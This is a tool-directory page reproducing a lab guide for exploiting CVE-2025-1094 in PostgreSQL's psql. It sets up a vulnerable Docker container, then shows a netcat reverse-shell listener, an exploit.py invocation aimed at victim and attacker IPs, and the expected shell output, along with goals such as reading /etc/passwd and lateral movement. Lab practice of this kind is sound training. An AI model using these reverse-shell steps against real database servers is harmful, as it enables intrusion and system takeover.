Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-1094-Lab-Setup — Hands-on lab to exploit CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via COPY TO PROGRAM, with Docker setup and reverse shell payload. | Kitploit
Tools/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

Hands-on lab to exploit CVE-2025-1094, a PostgreSQL psql SQL injection leading to RCE via COPY TO PROGRAM, with Docker setup and reverse shell payload.

View Repository
10 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

🛠️ CVE-2025-1094 Lab Setup

⚠️ Disclaimer
This lab is for educational and research purposes only.
Do NOT use any of the information or techniques demonstrated here on systems you do not own or have explicit permission to test. Unauthorized use of these methods may violate laws and result in severe penalties.


📌 Overview

CVE-2025-1094 is a critical vulnerability affecting PostgreSQL’s interactive tool psql, discovered in version 14.15 and earlier.
It allows attackers to perform SQL Injection which can lead to Remote Code Execution (RCE) under certain conditions.


🧨 Root Cause

The vulnerability arises from improper handling of malformed UTF-8 input in psql.
Due to insufficient validation, attackers can inject arbitrary SQL or meta-commands like ! (shell escape), and even exploit COPY ... TO PROGRAM to run system commands.


🔥 Impact and Attack Scenarios

  • SQL Injection → RCE: Malformed UTF-8 strings bypass validation and lead to arbitrary query execution.
  • Abuse of COPY TO PROGRAM: Attackers can execute arbitrary shell commands such as:
    • Reverse shells
    • Reading sensitive files (/etc/passwd)
    • Combining with other CVEs for full unauthenticated RCE
  • Integration Risk: Software using psql with untrusted input (e.g., BeyondTrust PRA, Remote Support) is particularly exposed.

🧪 Lab Requirements

🐳 Victim (Ubuntu)

Install Docker:

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 Reboot or log out & log in again to apply Docker group permissions.


🐍 Attacker (Kali)

Install Python and dependencies:

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ Ensure network connectivity between attacker and victim machines.


⚙️ Step 1 – Deploy Vulnerable PostgreSQL Container (Victim)

  1. Pull PostgreSQL 14.15 image:
root@kitploit:~
docker pull postgres:14.15
  1. Run the container:
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. Wait ~5s for initialization, then create a demo table:
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ Step 1.5 – Verify the container and database setup

After starting the container, verify everything is working with the following commands:

1. Check that the PostgreSQL container is running:

root@kitploit:~
sudo docker ps

📌 You should see a container named vulnerable_postgres listening on port 5432.


2. Access the container and inspect the database:

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

Inside the psql shell, run:

root@kitploit:~
SELECT * FROM users;

Expected output:

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

Exit from psql:

root@kitploit:~
\q

✅ Now your vulnerable PostgreSQL instance is running and ready for exploitation.


3. Turn the container back on

root@kitploit:~
sudo docker start vulnerable_postgres

📡 Step 2 – Exploit from Attacker Machine

  1. Start a listener on the attacker machine to catch the reverse shell:
root@kitploit:~
nc -lvnp 4444
  1. Run the exploit script (adjust IP and port if needed):
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. If successful, you’ll receive a reverse shell from the vulnerable PostgreSQL container 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 Example Exploitation Flow

  1. Inject malformed UTF-8 to bypass input validation
  2. Exploit COPY ... TO PROGRAM to execute arbitrary shell commands
  3. Reverse shell connects back to the attacker machine
  4. Escalate privileges or move laterally inside the environment

💡 Tip: You can snapshot this vulnerable container and reuse it later without rebuilding the environment.

Download Tool